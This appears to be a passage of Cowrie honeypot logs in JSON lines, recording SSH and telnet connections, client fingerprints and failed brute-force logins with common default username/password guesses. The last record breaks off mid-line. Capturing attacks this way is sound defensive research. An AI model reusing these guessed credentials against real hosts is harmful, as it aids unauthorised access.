{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:58.604046Z","src_ip":"64.176.195.200","session":"8921c420b867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phoenix","password":"phoenix","message":"login attempt [phoenix/phoenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:58.623634Z","src_ip":"64.176.195.200","session":"8921c420b867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:59.629967Z","src_ip":"64.176.195.200","session":"8921c420b867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":35644,"dst_ip":"10.17.0.5","dst_port":22,"session":"e391237d9cca","protocol":"ssh","message":"New connection: 103.13.206.100:35644 (10.17.0.5:22) [session: e391237d9cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:17.926543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:17.930645Z","src_ip":"103.13.206.100","session":"e391237d9cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:18.162681Z","src_ip":"103.13.206.100","session":"e391237d9cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vsftp","password":"Vsftp123!","message":"login attempt [vsftp/Vsftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:19.127363Z","src_ip":"103.13.206.100","session":"e391237d9cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:20.363019Z","src_ip":"103.13.206.100","session":"e391237d9cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47970,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd16c845bf7c","protocol":"ssh","message":"New connection: 2.57.122.208:47970 (10.17.0.5:22) [session: cd16c845bf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:22.517999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:22.615193Z","src_ip":"2.57.122.208","session":"cd16c845bf7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:22.712731Z","src_ip":"2.57.122.208","session":"cd16c845bf7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:23.313076Z","src_ip":"2.57.122.208","session":"cd16c845bf7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:24.414354Z","src_ip":"2.57.122.208","session":"cd16c845bf7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.0.211.211","src_port":48344,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad604b721afd","protocol":"telnet","message":"New connection: 168.0.211.211:48344 (159.203.135.109:23) [session: ad604b721afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:02:53.241309Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":38056,"dst_ip":"159.203.135.109","dst_port":22,"session":"d152740e73e4","protocol":"ssh","message":"New connection: 135.181.101.111:38056 (159.203.135.109:22) [session: d152740e73e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:05.964992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:05.969114Z","src_ip":"135.181.101.111","session":"d152740e73e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:06.076919Z","src_ip":"135.181.101.111","session":"d152740e73e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"123456","message":"login attempt [antonio/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:06.295243Z","src_ip":"135.181.101.111","session":"d152740e73e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.237719058990479,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:06.478885Z","src_ip":"168.0.211.211","session":"ad604b721afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:07.405583Z","src_ip":"135.181.101.111","session":"d152740e73e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":42274,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace4ea98013c","protocol":"ssh","message":"New connection: 159.223.94.92:42274 (159.203.135.109:22) [session: ace4ea98013c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:36.973445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:36.976944Z","src_ip":"159.223.94.92","session":"ace4ea98013c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:37.220570Z","src_ip":"159.223.94.92","session":"ace4ea98013c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caldera","password":"password","message":"login attempt [caldera/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:38.241478Z","src_ip":"159.223.94.92","session":"ace4ea98013c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:03:39.491602Z","src_ip":"159.223.94.92","session":"ace4ea98013c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"31399e72d2f9","protocol":"ssh","message":"New connection: 162.120.6.20:45838 (159.203.135.109:22) [session: 31399e72d2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:31.861298Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:31.934539Z","src_ip":"162.120.6.20","session":"31399e72d2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45848,"dst_ip":"159.203.135.109","dst_port":22,"session":"260001b33867","protocol":"ssh","message":"New connection: 162.120.6.20:45848 (159.203.135.109:22) [session: 260001b33867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:31.999478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:32.003931Z","src_ip":"162.120.6.20","session":"260001b33867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:32.073985Z","src_ip":"162.120.6.20","session":"260001b33867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"111","message":"login attempt [ubuntu/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:32.283547Z","src_ip":"162.120.6.20","session":"260001b33867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:33.355622Z","src_ip":"162.120.6.20","session":"260001b33867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37708,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6fd58c99e81","protocol":"ssh","message":"New connection: 2.57.122.208:37708 (10.17.0.5:22) [session: a6fd58c99e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:35.649054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:35.653198Z","src_ip":"2.57.122.208","session":"a6fd58c99e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:35.753386Z","src_ip":"2.57.122.208","session":"a6fd58c99e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:36.135103Z","src_ip":"2.57.122.208","session":"a6fd58c99e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:04:37.238039Z","src_ip":"2.57.122.208","session":"a6fd58c99e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":35822,"dst_ip":"159.203.135.109","dst_port":22,"session":"c494531e600e","protocol":"ssh","message":"New connection: 172.187.200.190:35822 (159.203.135.109:22) [session: c494531e600e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:03.343289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:03.347945Z","src_ip":"172.187.200.190","session":"c494531e600e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-9